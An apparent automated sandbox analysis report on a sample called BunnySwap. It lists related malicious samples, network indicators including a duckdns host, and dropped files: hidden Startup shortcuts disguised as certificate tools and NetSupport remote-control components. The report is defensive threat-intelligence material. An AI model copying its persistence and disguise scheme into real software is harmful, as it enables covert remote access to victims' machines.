Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
geography.netsupportsoftware.com	FxWNeUN38R.exe	Get hash	malicious	Browse	195.171.92.116
	nW9eFZXjpf.exe	Get hash	malicious	Browse	62.172.138.35
	7CiwBIK7nr.exe	Get hash	malicious	Browse	62.172.138.35
	q8WFOdgV7p.exe	Get hash	malicious	Browse	62.172.138.35
	2DAAD8278E0DDD4D247303ACED4B1D41C75CE94BE3A9E.exe	Get hash	malicious	Browse	62.172.138.35
	T46lE45bsk.exe	Get hash	malicious	Browse	195.171.92.116
	lZYIQJNUsZ.exe	Get hash	malicious	Browse	195.171.92.116
	978B4AC05A227B23EF7E4FADFF92966339BA1413BAC5A.exe	Get hash	malicious	Browse	195.171.92.116
	sMpor4yDdu.exe	Get hash	malicious	Browse	62.172.138.35
	B7E88D00739D77F482B500B254C222AE19171E68A5CD5.exe	Get hash	malicious	Browse	62.172.138.35
	10FCF8DA6000E34F9E8B8B173B6F8A65B6128E2422DB5.exe	Get hash	malicious	Browse	195.171.92.116
	PVhn42icZY.exe	Get hash	malicious	Browse	195.171.92.116
	a4PazaYY7f.exe	Get hash	malicious	Browse	62.172.138.35
	85OpNw6eXm.exe	Get hash	malicious	Browse	195.171.92.116
	J2UvcoQ2qP.exe	Get hash	malicious	Browse	195.171.92.116
	vjVsgjDOG8.exe	Get hash	malicious	Browse	195.171.92.116
	hlqkBT8ait.exe	Get hash	malicious	Browse	195.171.92.116
	gj13C7atN2.exe	Get hash	malicious	Browse	195.171.92.116
	YS86f86kvg.exe	Get hash	malicious	Browse	195.171.92.116
	xaX6mmXI4G.exe	Get hash	malicious	Browse	62.172.138.35
coinduck.duckdns.org	FxWNeUN38R.exe	Get hash	malicious	Browse	188.165.207.8
	nW9eFZXjpf.exe	Get hash	malicious	Browse	188.165.207.8
	7CiwBIK7nr.exe	Get hash	malicious	Browse	188.165.207.8
	978B4AC05A227B23EF7E4FADFF92966339BA1413BAC5A.exe	Get hash	malicious	Browse	188.165.207.8
	gj13C7atN2.exe	Get hash	malicious	Browse	62.173.140.217

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
OVHFR	FxWNeUN38R.exe	Get hash	malicious	Browse	188.165.207.8
	nW9eFZXjpf.exe	Get hash	malicious	Browse	188.165.207.8
	7CiwBIK7nr.exe	Get hash	malicious	Browse	188.165.207.8
	gunzipped.exe	Get hash	malicious	Browse	51.89.207.163
	INVOICES.exe	Get hash	malicious	Browse	54.38.220.85
	Cmh_Fax-Message-17263.html	Get hash	malicious	Browse	94.23.161.190
	PRODUCT INVOICES_PDF.vbs	Get hash	malicious	Browse	217.182.175.206
	E0JISV7xIHoSYfK.dll	Get hash	malicious	Browse	137.74.112.43
	E0JISV7xIHoSYfK.dll	Get hash	malicious	Browse	137.74.112.43
	R9TBKBSQzb.dll	Get hash	malicious	Browse	137.74.112.43
	uJcx8qCuTZnP.dll	Get hash	malicious	Browse	137.74.112.43
	R9TBKBSQzb.dll	Get hash	malicious	Browse	137.74.112.43
	9hZRZnRtm.dll	Get hash	malicious	Browse	137.74.112.43
	y0xcR3dVtO3p.dll	Get hash	malicious	Browse	137.74.112.43
	F3SFOPdU3GwP.dll	Get hash	malicious	Browse	137.74.112.43
	FZl6CRinAs.dll	Get hash	malicious	Browse	137.74.112.43
	YvfI6xYO.dll	Get hash	malicious	Browse	137.74.112.43
	uJcx8qCuTZnP.dll	Get hash	malicious	Browse	137.74.112.43
	sKphGp4RvA3Wc.dll	Get hash	malicious	Browse	137.74.112.43
	9hZRZnRtm.dll	Get hash	malicious	Browse	137.74.112.43
BTGB	nW9eFZXjpf.exe	Get hash	malicious	Browse	62.172.138.35
	7CiwBIK7nr.exe	Get hash	malicious	Browse	62.172.138.35
	q8WFOdgV7p.exe	Get hash	malicious	Browse	62.172.138.35
	uGf1521l6S	Get hash	malicious	Browse	62.180.31.122
	MubZn4KtUK	Get hash	malicious	Browse	213.15.114.39
	2iZFiz8mkB	Get hash	malicious	Browse	170.255.199.19
	6sag2zM690	Get hash	malicious	Browse	170.255.127.117
	8v1QKqvK9c	Get hash	malicious	Browse	170.255.163.14
	2DAAD8278E0DDD4D247303ACED4B1D41C75CE94BE3A9E.exe	Get hash	malicious	Browse	62.172.138.35
	u47x3rc20t	Get hash	malicious	Browse	62.172.94.179
	eAtDhymLzp	Get hash	malicious	Browse	62.172.94.152
	ehn0f1d63M	Get hash	malicious	Browse	170.255.126.68
	zWumjXhWWz	Get hash	malicious	Browse	62.172.94.192
	sMpor4yDdu.exe	Get hash	malicious	Browse	62.172.138.35
	B7E88D00739D77F482B500B254C222AE19171E68A5CD5.exe	Get hash	malicious	Browse	62.172.138.35
	vFBFs0AFN3.exe	Get hash	malicious	Browse	62.172.138.35
	a4PazaYY7f.exe	Get hash	malicious	Browse	62.172.138.35
	xaX6mmXI4G.exe	Get hash	malicious	Browse	62.172.138.35
	payload.exe	Get hash	malicious	Browse	213.236.64.41
	payload.exe	Get hash	malicious	Browse	213.236.64.41

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\is-1VK82.tmp\_isetup\_isdecmp.dll	FxWNeUN38R.exe	Get hash	malicious	Browse
	7CiwBIK7nr.exe	Get hash	malicious	Browse
	978B4AC05A227B23EF7E4FADFF92966339BA1413BAC5A.exe	Get hash	malicious	Browse
	Declaration-Of-Independence-Crossword-Puzzle-Answers-Quizlet.exe	Get hash	malicious	Browse
	How-To-Get-A-Statement-From-Netspend.exe	Get hash	malicious	Browse
	gj13C7atN2.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\is-1VK82.tmp\_isetup\_setup64.tmp	FxWNeUN38R.exe	Get hash	malicious	Browse
	7CiwBIK7nr.exe	Get hash	malicious	Browse
	YP3rBZ0p3p.exe	Get hash	malicious	Browse
	CyLELjM5zk.exe	Get hash	malicious	Browse
	kNwc3gf60x.exe	Get hash	malicious	Browse
	setup_x86_x64_install.exe	Get hash	malicious	Browse
	caJE89fFLM.exe	Get hash	malicious	Browse
	MIN56KgzBN.exe	Get hash	malicious	Browse
	kaPWB85Egs.exe	Get hash	malicious	Browse
	Xh6xP34KWr.exe	Get hash	malicious	Browse
	PwJsoYPH9y.exe	Get hash	malicious	Browse
	Star-Wars-Battlefron_330757428.exe	Get hash	malicious	Browse
	ikvsJLwo6l.exe	Get hash	malicious	Browse
	pn0bHcY5l5.exe	Get hash	malicious	Browse
	2DAAD8278E0DDD4D247303ACED4B1D41C75CE94BE3A9E.exe	Get hash	malicious	Browse
	HUCGOYy2oO.exe	Get hash	malicious	Browse
	Setup_FileViewPro_2021.exe	Get hash	malicious	Browse
	xSnF0lxFUX.exe	Get hash	malicious	Browse
	13979361D20B6C7184A7D3A8E5454782162A4AB734D2F.exe	Get hash	malicious	Browse
	QppmM7JmZd.exe	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\WindowsAutorityCerts.lnk Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Hidden, Archive, ctime=Thu Aug 5 20:40:46 2021, mtime=Thu Aug 5 20:40:47 2021, atime=Tue May 11 12:32:48 2021, length=115792, window=hide
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	4.832741982497369
Encrypted:	false
SSDEEP:	24:8mW3NxH0Zs7S9Lj5RVPAIl2Jr6R7nr6RUBm:8mW3HHy9LDuU2J87n8W
MD5:	B0D828FD41B33DFC75B10E3DCE929939
SHA1:	05AB7B21BF05F2BA3D8B058DCCA1E98F5FA5CE0C
SHA-256:	237DA29D892FE35460A8FFDE8524F6740CFF0E38DA644401639C58BE45057500
SHA-512:	88EBB74D9C6F89F78813F5A8DD0C6266327D6DBF339ACCAC93F5C9EC5ED97EB40A200A08FEA9BFC8019EB562602049A191A436D1409BE8A81D6BF6289DBBA285
Malicious:	false
Reputation:	low
Preview:	L..................F...."....\..B...E.*.B....@.!jF..P.........................:..DG..Yr?.D..U..k0.&...&...........-..W..T......6.B.......t...CFSF..1......N....AppData...t.Y^...H.g.3..(.....gVA.G..k...@.......N...S.......Y....................yN\|.A.p.p.D.a.t.a...B.V.1......N....Roaming.@.......N...S.......Y.....................K..R.o.a.m.i.n.g.....r.1......S....WINDOW~1..Z.......S...S.......W.....................p..W.i.n.d.o.w.s.A.u.t.o.r.i.t.y.C.e.r.t.s.....b.2.P....R.l".updater.exe.H.......S...S................................u.p.d.a.t.e.r...e.x.e.......n...............-.......m............".O.....C:\Users\user\AppData\Roaming\WindowsAutorityCerts\updater.exe..N.....\.....\.....\.....\.....\.....\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.W.i.n.d.o.w.s.A.u.t.o.r.i.t.y.C.e.r.t.s.\.u.p.d.a.t.e.r...e.x.e.3.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.W.i.n.d.o.w.s.A.u.t.o.r.i.t.y.C.e.r.t.s.`.......X.......899552...........!a..%.H.VZAj...`.............

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\WindowsUserCerts.lnk Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Hidden, Archive, ctime=Thu Aug 5 20:40:47 2021, mtime=Thu Aug 5 20:40:47 2021, atime=Tue May 11 12:32:48 2021, length=115792, window=hide
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	4.83161957916225
Encrypted:	false
SSDEEP:	24:8mt3NxH0Zs49n6K0EuVB5AUiy2Vr6Eu7zr6EuQBm:8mt3HHk9n6xb6e2VM7zMi
MD5:	FCA3C35E0EB6838011CD8D3A07F6B6EF
SHA1:	1B4BDD8D201A5070E145F7BDE7EDF1CE78AC047B
SHA-256:	68B6F14B0967A8E867BD9C062B70FA76F311272C21E17E3B95389A3064D2282D
SHA-512:	1A083CC265ED6783731ACD757154C7339EBB804FB5952A1847B195E6A95833603482B39FF431E26365F99EE72E36081C07CF98C2EB8B5B269EC7E726FA65C6C1
Malicious:	false
Reputation:	low
Preview:	L..................F...."....m(.B...E.*.B....@.!jF..P.........................:..DG..Yr?.D..U..k0.&...&...........-..W..T......6.B.......t...CFSF..1......N....AppData...t.Y^...H.g.3..(.....gVA.G..k...@.......N...S.......Y....................yN\|.A.p.p.D.a.t.a...B.V.1......S....Roaming.@.......N...S.......Y.....................p..R.o.a.m.i.n.g.....j.1......S....WINDOW~2..R.......S...S......M......................_..W.i.n.d.o.w.s.U.s.e.r.C.e.r.t.s.....b.2.P....R.l".updater.exe.H.......S...S.......X........................u.p.d.a.t.e.r...e.x.e.......j...............-.......i............".O.....C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe..J.....\.....\.....\.....\.....\.....\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.W.i.n.d.o.w.s.U.s.e.r.C.e.r.t.s.\.u.p.d.a.t.e.r...e.x.e./.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.W.i.n.d.o.w.s.U.s.e.r.C.e.r.t.s.`.......X.......899552...........!a..%.H.VZAj...a................!a..%.H.VZAj...a.........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\loca[1].htm Download File
Process:	C:\Users\user\AppData\Roaming\WindowsUserCerts\updater.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	15
Entropy (8bit):	3.2402239289418526
Encrypted:	false
SSDEEP:	3:oceyTcn:oryQn
MD5:	6DAC64567026079B97FA1743EE782647
SHA1:	9362034731268E658ECC7D7FDB9A09FFE2393235
SHA-256:	A383C47D372D763CC266852282C4CA327FB586543CA31E7ED5D794D646CC47DA
SHA-512:	27DA38D9318B6D771A99B6CB298D6BB992C27D7F6FD7360F6BF70B9D43D8A94AAD639FF0EB38EE81ABED2615F8EF124A027C3FC0638CD81216587B7C0407BFB9
Malicious:	false
Reputation:	moderate, very likely benign file
IE Cache URL:	http://geo.netsupportsoftware.com/location/loca.asp
Preview:	47.3769,8.54169

C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe Download File
Process:	C:\Users\user\Desktop\iumk21HlC8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3621344
Entropy (8bit):	7.849339284112897
Encrypted:	false
SSDEEP:	98304:RSis6mcGGKYFaTplAFZ8e/QoBQ+DidXvh6d204OOR5qmm:8ZuaplIZ8gnBZgJ6M8YYF
MD5:	C8F3E604A88D2B25F9EAAF3F5CA625D9
SHA1:	4F312F7D0489DF0DDDF50C3B097A249FF7B59C01
SHA-256:	7879720CFA32665C40E8FFAAA0171ED47563698960D5885D20E0B6A7AF8E08FF
SHA-512:	0C397C8BEDB17E057048E19EF1F8FC905A500C2160566313E08BA8C635A07DBD56CF040B132AFB235A59B1C460B787210A8EC5DF69833D742A8355051C11C2AA
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 11%, Browse Antivirus: ReversingLabs, Detection: 36%
Reputation:	low
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...n.._.................P...........^.......p....@...................................7...@......@...................@....... ..6....p...H...........27......................................`......................."..D....0.......................text....6.......8.................. ..`.itext.......P.......<.............. ..`.data....7...p...8...T..............@....bss.....m...............................idata..6.... ......................@....didata......0......................@....edata.......@......................@..@.tls.........P...........................rdata..]....`......................@..@.rsrc....H...p...H..................@..@....................................@..@........................................................

C:\Users\user\AppData\Local\Temp\is-1VK82.tmp\_isetup\_isdecmp.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: FxWNeUN38R.exe, Detection: malicious, Browse Filename: 7CiwBIK7nr.exe, Detection: malicious, Browse Filename: 978B4AC05A227B23EF7E4FADFF92966339BA1413BAC5A.exe, Detection: malicious, Browse Filename: Declaration-Of-Independence-Crossword-Puzzle-Answers-Quizlet.exe, Detection: malicious, Browse Filename: How-To-Get-A-Statement-From-Netspend.exe, Detection: malicious, Browse Filename: gj13C7atN2.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-1VK82.tmp\_isetup\_setup64.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: FxWNeUN38R.exe, Detection: malicious, Browse Filename: 7CiwBIK7nr.exe, Detection: malicious, Browse Filename: YP3rBZ0p3p.exe, Detection: malicious, Browse Filename: CyLELjM5zk.exe, Detection: malicious, Browse Filename: kNwc3gf60x.exe, Detection: malicious, Browse Filename: setup_x86_x64_install.exe, Detection: malicious, Browse Filename: caJE89fFLM.exe, Detection: malicious, Browse Filename: MIN56KgzBN.exe, Detection: malicious, Browse Filename: kaPWB85Egs.exe, Detection: malicious, Browse Filename: Xh6xP34KWr.exe, Detection: malicious, Browse Filename: PwJsoYPH9y.exe, Detection: malicious, Browse Filename: Star-Wars-Battlefron_330757428.exe, Detection: malicious, Browse Filename: ikvsJLwo6l.exe, Detection: malicious, Browse Filename: pn0bHcY5l5.exe, Detection: malicious, Browse Filename: 2DAAD8278E0DDD4D247303ACED4B1D41C75CE94BE3A9E.exe, Detection: malicious, Browse Filename: HUCGOYy2oO.exe, Detection: malicious, Browse Filename: Setup_FileViewPro_2021.exe, Detection: malicious, Browse Filename: xSnF0lxFUX.exe, Detection: malicious, Browse Filename: 13979361D20B6C7184A7D3A8E5454782162A4AB734D2F.exe, Detection: malicious, Browse Filename: QppmM7JmZd.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\RarSFX0\BunnySwap.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3014144
Entropy (8bit):	6.393835146511117
Encrypted:	false
SSDEEP:	49152:fLJwSihjOb6GLb4SKEs3DyOMC2DlUt0+yO3A32ASNTvu:dwSi0b67zeCzt0+yO3kS
MD5:	11C74753D375BA44E845BFECBFE88CD6
SHA1:	5DF09E6A5673AD6BF4835BDC2C1A5886FBC864EE
SHA-256:	0F83CE1F2649207EE8FC3A0DCF27765FE7AE5B9F708192545E25E1AB4EA2BA95
SHA-512:	185BAE3CC7F3038817ECE2AF8363020416A974655D445B53FDAEA31E42062C3D3702CFEE0514B08327BC161FBC45C1EB3CB269ADC7AC0B4D11D0588E28A86C9F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...p.._.................$,.........P6,......@,...@.......................................@......@....................-......`-.49....-.......................................................-......................i-.......-......................text...P.+.......+................. ..`.itext..t(....,..*....+............. ..`.data.......@,......(,.............@....bss.....x....,..........................idata..49...`-..:....,.............@....didata.......-.......,.............@....edata........-.......-.............@..@.tls....L.....-..........................rdata..].....-.......-.............@..@.rsrc.........-.......-.............@..@......................-.............@..@........................................................

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\HTCTL32.DLL (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	326672
Entropy (8bit):	6.742281512000612
Encrypted:	false
SSDEEP:	6144:fib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OKGq:fib5YbsXioEgULFpSzya9/lY5SilQCfT
MD5:	BF9DD864F5822DC28FFCE9529BAE15BA
SHA1:	EE578BA78DDAF0547EDD23355DBC658CDC1B86AB
SHA-256:	74328F7F2D08CFC734CC5151BC68377962D1E0A75137908925A604B3D18B7BE6
SHA-512:	EA00797C9E7117452E3A7F94DB016E22DAD0246C439DAAAE304ECFB5C5DE19D2DB0C63CE1EDD135A409F07BA75B19BD6428A7AB6D80A9DC65FF473FF985EF43E
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P............@......................... ...k....y..x.......@................$.......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\NSM.LIC (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	259
Entropy (8bit):	5.16961692159381
Encrypted:	false
SSDEEP:	6:O/oP6QAI4xRPjwxPUA1DKHMoEEjLgpW2MCrRH7KWYpPM/ioYa8l6i7s:XCQ+R7wxPUVJjjqW2MC9KBPM/iot8l6J
MD5:	AC5D5CC9ACAD4531EF1BD16145EA68BD
SHA1:	F9D92F79A934815B645591EBBD6F5D20AA6A3E38
SHA-256:	68C787616681427557343E42EDE5805DFBEEB580C59F69C4706B500F225E2C6B
SHA-512:	196863E039E9C83FB0F8EB3F0A6119DB31A624E7EF4E9BA99516702E76796957F0EBF87E8728E1BD0DE6CD7420BEC6E644CAA58A0724A7208E9A765D6EB78F64
Malicious:	false
Reputation:	unknown
Preview:	1200..0xde854b37....; NetSupport License File...; Generated on 13:46 - 30/06/2018........[[Enforce]]....[_License]..control_only=0..expiry=..inactive=0..licensee=DONALDTRUMP..maxslaves=1500..os2=1..product=10..serial_no=NSM350561..shrink_wrap=0..transport=0..

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\NSM.ini (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	Non-ISO extended-ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6458
Entropy (8bit):	4.645519507940197
Encrypted:	false
SSDEEP:	96:B6pfGAtXOdwpEKyhuSY92fihuUhENXh8o3IFhucOi49VLO9kNVnkOeafhuK7cwo4:BnwpwYFuy6/njroYbe3j1vlS
MD5:	88B1DAB8F4FD1AE879685995C90BD902
SHA1:	3D23FB4036DC17FA4BEE27E3E2A56FF49BEED59D
SHA-256:	60FE386112AD51F40A1EE9E1B15ECA802CED174D7055341C491DEE06780B3F92
SHA-512:	4EA2C20991189FE1D6D5C700603C038406303CCA594577DDCBC16AB9A7915CB4D4AA9E53093747DB164F068A7BA0F568424BC8CB7682F1A3FB17E4C9EC01F047
Malicious:	false
Reputation:	unknown
Preview:	..[General]..ClientParams=..CLIENT32=..Installdir=..NOARP=..SuppressAudio=......[Features]..Client=1..Configurator=..Control=..Gateway=..PINServer=..RemoteDeploy=..Scripting=..Student=..TechConsole=..Tutor=......[StartMenuIcons]..ClientIcon=..ConfigIcon=..ControlIcon=..RemoteDeployIcon=..ScriptingIcon=..TechConsoleIcon=..TutorIcon=......[DesktopIcons]..ControlDeskIcon=..TechConsoleDeskIcon=..TutorDeskIcon=............; This NSM.ini file can be used to customise the component selections when performing a silent installation of the product.....; Client=<1/Blank>..; e.g...; Client=1..; Controls whether the client component is installed (1) on the target machine or not (Blank)..;....; CLIENT32=<blank/not blank>..; e.g...;. CLIENT32=..;. Setting this to anything causes the Client Service (if installed) to be set to manual start rather than automatic..;....; ClientIcon=<1/Blank>..; e.g...; ClientIcon=1..; Controls whether shortcut icons are placed on t

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\PCICHEK.DLL (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17424
Entropy (8bit):	6.072645835249466
Encrypted:	false
SSDEEP:	192:OogL7bo2t6n76RRHirmH0qh/laxttpYg2E4VtHith5VVgCVLWwsU7K6CYSa:OogL7bo2YrmGxLh4VtHith5kCCMK6jSa
MD5:	018B7364F4DE19D99C37665EB8555FC5
SHA1:	661D32B263131F27C890A3A17E3A7F58B0035F93
SHA-256:	FB68BF34AE44C30267E5034D65E7D917033631F8290A17DE264DE5189F1C9E71
SHA-512:	82EB86E58894D3BEED9F7EFEFDD9F8ECE4D4D1AF7D95E8751054EAC18FF8EB08E6BFDD0CCF132F666B2BDD47669FDC4B1FCF4C172A4CF3F25B0464E6943489F8
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 8%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Yu....i...i...i.......i..Z...i.......i......i......i..l....i...h.~.i......i......i......i.......i.Rich..i.................PE..L....A.W...........!......................... ...............................`......S.....@.........................@#..r...h!..P....@............... ...$...P......P ............................... ..@............ ..D............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\PCICL32.DLL (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3738640
Entropy (8bit):	6.5259550264690755
Encrypted:	false
SSDEEP:	49152:LKJKmPEYIPqxYdoF4OSvxmX3+m7OTqupa7HclSpTAyFMJS:LKJ/zIPq7F4fmXO8u6kS+yn
MD5:	21E49D937A929DB0FF9C265E8B2B6777
SHA1:	88000B29BB69B3E8A29F30F0274DE3E71A8B7EF7
SHA-256:	9B760F2AA4576D044BCD33E21943A8CBCCD9C56D17D598FA509213E05F9939C1
SHA-512:	165664B4D3B6AA2C481665A9AED572A7445CD32052066FAF7BF05340820D8AFC3CF4660A344D2A06E6F3BCABBFA7923EB61C39B7367735EDE0F5154F9696D1BF
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 7%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J.>N+.mN+.mN+.m.eAmL+.mU.Gmd+.m!]rmF+.mU.EmJ+.mGSZmA+.mGS]mO+.mGSJmi+.mN+.m.(.mU.rm.+.mU.sm.+.mU.BmO+.mU.CmO+.mU.DmO+.mRichN+.m........................PE..L......X...........!.....(...$ .............@................................9.....[n9.............................p................p................8..$...`7.p....Q.......................c......@c..@............@..(.......`....................text...l'.......(.................. ..`.rdata..s....@.......,..............@..@.data....%... ......................@....tls.........P......................@....hhshare.....`......................@....rsrc........p......................@..@.reloc...3...`7..4....6.............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\TCCTL32.DLL (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	395280
Entropy (8bit):	6.798812382883384
Encrypted:	false
SSDEEP:	12288:1qArkLoM/5iec2yxvUh3ho2LDnOQQ1k3+h9APjbom/nF:8kuK2XOjksobom/nF
MD5:	4AE68042D513CBA160CDAAFE45D35582
SHA1:	9A07EBD26FAB57947B20647AC6CA0019475FFB44
SHA-256:	CC2B02AC7ED7656E4D26574367C571DFC44D3F167838F0EE868CDB8B493B3FF4
SHA-512:	B78F80697BA16C33BA9EDE2D2019CEB6173C8A2D335D6990B75613C1AF21669F25EA8F2D0E3C56AF08578D038CF3B66CA4E55CA252AD699A805598993A3D5BE8
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L....8.W...........!................'...............................................E.....@.............................o...D...x....0..@................$...@..\E..................................Pd..@...............h............................text............................... ..`.rdata..............................@..@.data...h............\|..............@....rsrc...@....0......................@..@.reloc...F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsAutorityCerts\client32.ini (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	633
Entropy (8bit):	5.271884987286422
Encrypted:	false
